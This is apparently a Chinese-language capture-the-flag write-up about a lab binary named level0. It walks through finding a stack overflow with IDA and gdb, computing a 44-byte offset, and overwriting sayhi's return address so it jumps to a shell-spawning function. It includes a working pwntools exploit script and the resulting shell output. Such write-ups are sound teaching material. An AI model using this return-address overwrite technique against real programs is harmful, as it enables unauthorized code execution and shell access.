根据ida可以看到有如下几个函数
image.png
main,sayhi,myRead,seeme,其中前三个是逐渐调用,我们要做的是在main函数为入口的程序中将seeme函数调用。
在linux下可以运行一下程序,随便输入,显示正常,
image.png
然后多输入一堆a,可以看到会有溢出。
image.png
进入gdb进行调试,可以发现输入是在myRead函数中进行的,我们可以看到输入的地址为0xffffd3c0,
image.png
image.png
在这个函数中可以看到字符串输入的地址比当前函数的ebp还大,所以这个函数的ebp下面的ret地址无法改变,只能改变上一层的函数即sayhi函数ebp下面的ret,也就是sayhi函数执行完后,返回main的地址可以被改变。
在sayhi函数中可以看到ebp的地址为0xffffd3e8,
image.png
所以0xffffd3e8-0xffffd3c0=0x28。也就是说我们需要输入40个字节才可以到达ebp(ebp的地址没有被覆盖),再增加4个字节就可以覆盖ebp,然后可以跟上我们要调用的函数的地址,即seeme函数的地址,0x080485B3,这样就可以做到返回的时候进入seeme函数,就拿到了shell。
python脚本,注意需要是python2,如果是python3的时候,再payload那里会出错,无法将字符串和字节拼在一起
from pwn import *
conn=process('./level0')
seeme=0x080485B3
conn.recv()
payload = 'a'*44+p32(seeme)
conn.sendline(payload)
conn.recv()
conn.interactive()
image.png
shell:uid=1000(securitylab) gid=1000(securitylab) groups=1000(securitylab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)